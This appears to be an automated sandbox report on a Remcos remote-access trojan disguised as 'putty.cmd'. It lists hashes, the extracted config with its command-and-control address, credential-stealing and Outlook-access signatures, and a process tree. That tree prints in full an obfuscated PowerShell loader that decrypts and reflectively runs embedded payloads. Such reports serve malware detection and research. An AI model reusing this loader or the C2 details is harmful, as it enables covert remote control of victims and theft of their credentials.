remcos | 3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c

Analysis

max time kernel
130s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
23-03-2024 15:30

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General

Target

putty.cmd
Size

7.4MB
MD5

606bc44bc3ce1ab5bec05a295ac81089
SHA1

d95631873a15d6bf4c031ddf70052d438f5dbd83
SHA256

3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c
SHA512

c234ea302f4c3197436beb8d21955abeb6dedf0e1439cd2330428cf40a7b21e3ef7ecd9a71823d3391b441d0b428a8e86d4606192a91db934bdf7df6982e87d0
SSDEEP

196608:l77777777777777777777777777777777777777777777777777777777777777g:u

Score

10^/10

remcos remotehost collection rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

91.92.251.30:2025

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-L2QP3G
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/1920-71-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/1920-73-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/1700-65-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral2/memory/1700-79-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 6 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1700-65-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1920-71-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1920-73-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4544-76-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4544-77-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1700-79-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

31 4868 powershell.exe
36 4868 powershell.exe
37 4868 powershell.exe
38 4868 powershell.exe

flow	pid	process
31	4868	powershell.exe
36	4868	powershell.exe
37	4868	powershell.exe
38	4868	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

powershell.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 4868 set thread context of 1700	4868	powershell.exe	powershell.exe
PID 4868 set thread context of 1920	4868	powershell.exe	powershell.exe
PID 4868 set thread context of 4544	4868	powershell.exe	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3924 4868 WerFault.exe powershell.exe

pid	pid_target	process	target process
3924	4868	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4868	powershell.exe
4868	powershell.exe
3788	powershell.exe
3788	powershell.exe
1700	powershell.exe
1700	powershell.exe
4544	powershell.exe
4544	powershell.exe
1700	powershell.exe
1700	powershell.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

powershell.exe

pid process

4868 powershell.exe
4868 powershell.exe
4868 powershell.exe
4868 powershell.exe
4868 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4868 powershell.exe
Token: SeDebugPrivilege 3788 powershell.exe
Token: SeDebugPrivilege 4544 powershell.exe

description	pid	process
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 4272 wrote to memory of 3596	4272	cmd.exe	cmd.exe
PID 4272 wrote to memory of 3596	4272	cmd.exe	cmd.exe
PID 3596 wrote to memory of 2360	3596	cmd.exe	cmd.exe
PID 3596 wrote to memory of 2360	3596	cmd.exe	cmd.exe
PID 3596 wrote to memory of 4868	3596	cmd.exe	powershell.exe
PID 3596 wrote to memory of 4868	3596	cmd.exe	powershell.exe
PID 3596 wrote to memory of 4868	3596	cmd.exe	powershell.exe
PID 4868 wrote to memory of 3788	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 3788	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 3788	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 4900	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 4900	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 4900	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1700	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1700	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1700	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1700	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1920	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1920	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1920	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1920	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1112	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1112	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1112	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 4544	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 4544	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 4544	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 4544	4868	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\putty.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\putty.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:3596

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\putty.cmd';$KUZI='EleMrJamenMrJatMrJaAtMrJa'.Replace('MrJa', ''),'SrASbplrASbitrASb'.Replace('rASb', ''),'DcxuUecocxuUmpcxuUrescxuUscxuU'.Replace('cxuU', ''),'EnzKXdtzKXdrzKXdyzKXdPoizKXdntzKXd'.Replace('zKXd', ''),'CDKRroDKRrpDKRryTDKRroDKRr'.Replace('DKRr', ''),'CremHyIatemHyIDmHyIecmHyIrmHyIymHyIpmHyItomHyIrmHyI'.Replace('mHyI', ''),'LqXKhoadqXKh'.Replace('qXKh', ''),'FibFsromibFsBibFsasibFse6ibFs4SibFstibFsriibFsngibFs'.Replace('ibFs', ''),'MIkMWaIkMWiIkMWnMIkMWodIkMWulIkMWeIkMW'.Replace('IkMW', ''),'GEhZzetEhZzCEhZzuEhZzrrEhZzeEhZzntEhZzProEhZzcesEhZzsEhZz'.Replace('EhZz', ''),'InvYoJVokYoJVeYoJV'.Replace('YoJV', ''),'ChalJqNnlJqNgelJqNElJqNxtlJqNelJqNnslJqNiolJqNnlJqN'.Replace('lJqN', ''),'ReaHsIkdLiHsIknHsIkeHsIksHsIk'.Replace('HsIk', ''),'TyKjzranyKjzsyKjzforyKjzmFyKjziyKjznayKjzlBlyKjzockyKjz'.Replace('yKjz', '');powershell -w hidden;function DzchL($QfpjG){$iBRSE=[System.Security.Cryptography.Aes]::Create();$iBRSE.Mode=[System.Security.Cryptography.CipherMode]::CBC;$iBRSE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$iBRSE.Key=[System.Convert]::($KUZI[7])('TYzwx+VQruSBclwTSei5OE5DbGGUAEnGVbMuihV8YQU=');$iBRSE.IV=[System.Convert]::($KUZI[7])('+LTXnHvK40EXoqLlqGzCsw==');$sGXqE=$iBRSE.($KUZI[5])();$riXCa=$sGXqE.($KUZI[13])($QfpjG,0,$QfpjG.Length);$sGXqE.Dispose();$iBRSE.Dispose();$riXCa;}function bmuCI($QfpjG){$PkJst=New-Object System.IO.MemoryStream(,$QfpjG);$TpSCv=New-Object System.IO.MemoryStream;$vgnKN=New-Object System.IO.Compression.GZipStream($PkJst,[IO.Compression.CompressionMode]::($KUZI[2]));$vgnKN.($KUZI[4])($TpSCv);$vgnKN.Dispose();$PkJst.Dispose();$TpSCv.Dispose();$TpSCv.ToArray();}$nUBNG=[System.IO.File]::($KUZI[12])([Console]::Title);$aWeUY=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 5).Substring(2))));$PFrnG=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 6).Substring(2))));[System.Reflection.Assembly]::($KUZI[6])([byte[]]$PFrnG).($KUZI[3]).($KUZI[10])($null,$null);[System.Reflection.Assembly]::($KUZI[6])([byte[]]$aWeUY).($KUZI[3]).($KUZI[10])($null,$null); "
3⤵
PID:2360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4868

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\cqvmsuwupumnkivxohgxoxf"
4⤵
PID:4900

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\cqvmsuwupumnkivxohgxoxf"
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1700

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\eliwtmhndcesmwjbxstqrcaxfu"
4⤵
- Accesses Microsoft Outlook accounts
PID:1920

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\pnnpufsprkwxxcfngcgscpmoobteq"
4⤵
PID:1112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\pnnpufsprkwxxcfngcgscpmoobteq"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4868 -s 2512
4⤵
- Program crash
PID:3924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4868 -ip 4868
1⤵
PID:1792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bwyhoufg.1hz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cqvmsuwupumnkivxohgxoxf

Filesize
4KB

MD5
ec0cf9ff722f9a9259c3338972c40886

SHA1
31bad5285affb58c5ebe0569bbdb9bd1deab245c

SHA256
30190665467845aed54732c31c7e385368c10acb595cffdd7ca9523fff051a19

SHA512
bdfaf9576db431d3c4d14e0ea5deafce661fceda6d5123a6f4b84d50a576dd1ccf4202091dc0b55bed665dd45b4e30d2a797bda6015b06f5771064f9bab32d1a

Download Submit
memory/1700-79-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1700-59-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1700-65-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1700-62-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1920-71-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1920-73-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1920-64-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1920-60-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3788-37-0x0000000074450000-0x0000000074C00000-memory.dmp

Filesize
7.7MB

Download
memory/3788-23-0x0000000074450000-0x0000000074C00000-memory.dmp

Filesize
7.7MB

Download
memory/3788-24-0x0000000004E10000-0x0000000004E20000-memory.dmp

Filesize
64KB

Download
memory/3788-25-0x0000000004E10000-0x0000000004E20000-memory.dmp

Filesize
64KB

Download
memory/4544-67-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4544-74-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4544-76-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4544-77-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4868-18-0x0000000005B20000-0x0000000005B6C000-memory.dmp

Filesize
304KB

Download
memory/4868-17-0x0000000005B00000-0x0000000005B1E000-memory.dmp

Filesize
120KB

Download
memory/4868-40-0x0000000076E71000-0x0000000076F91000-memory.dmp

Filesize
1.1MB

Download
memory/4868-41-0x0000000007280000-0x00000000072CC000-memory.dmp

Filesize
304KB

Download
memory/4868-42-0x00000000041F0000-0x00000000041FC000-memory.dmp

Filesize
48KB

Download
memory/4868-43-0x00000000072D0000-0x0000000007352000-memory.dmp

Filesize
520KB

Download
memory/4868-22-0x0000000006E80000-0x0000000006E9A000-memory.dmp

Filesize
104KB

Download
memory/4868-21-0x00000000074E0000-0x0000000007B5A000-memory.dmp

Filesize
6.5MB

Download
memory/4868-20-0x0000000006DE0000-0x0000000006E56000-memory.dmp

Filesize
472KB

Download
memory/4868-19-0x0000000006C10000-0x0000000006C54000-memory.dmp

Filesize
272KB

Download
memory/4868-1-0x0000000074450000-0x0000000074C00000-memory.dmp

Filesize
7.7MB

Download
memory/4868-38-0x00000000041E0000-0x00000000041E8000-memory.dmp

Filesize
32KB

Download
memory/4868-16-0x00000000055A0000-0x00000000058F4000-memory.dmp

Filesize
3.3MB

Download
memory/4868-6-0x00000000054A0000-0x0000000005506000-memory.dmp

Filesize
408KB

Download
memory/4868-5-0x0000000005430000-0x0000000005496000-memory.dmp

Filesize
408KB

Download
memory/4868-4-0x0000000004C00000-0x0000000004C22000-memory.dmp

Filesize
136KB

Download
memory/4868-3-0x0000000004D00000-0x0000000005328000-memory.dmp

Filesize
6.2MB

Download
memory/4868-2-0x00000000046C0000-0x00000000046D0000-memory.dmp

Filesize
64KB

Download
memory/4868-0-0x0000000004600000-0x0000000004636000-memory.dmp

Filesize
216KB

Download
memory/4868-81-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4868-84-0x0000000074450000-0x0000000074C00000-memory.dmp

Filesize
7.7MB

Download
memory/4868-85-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download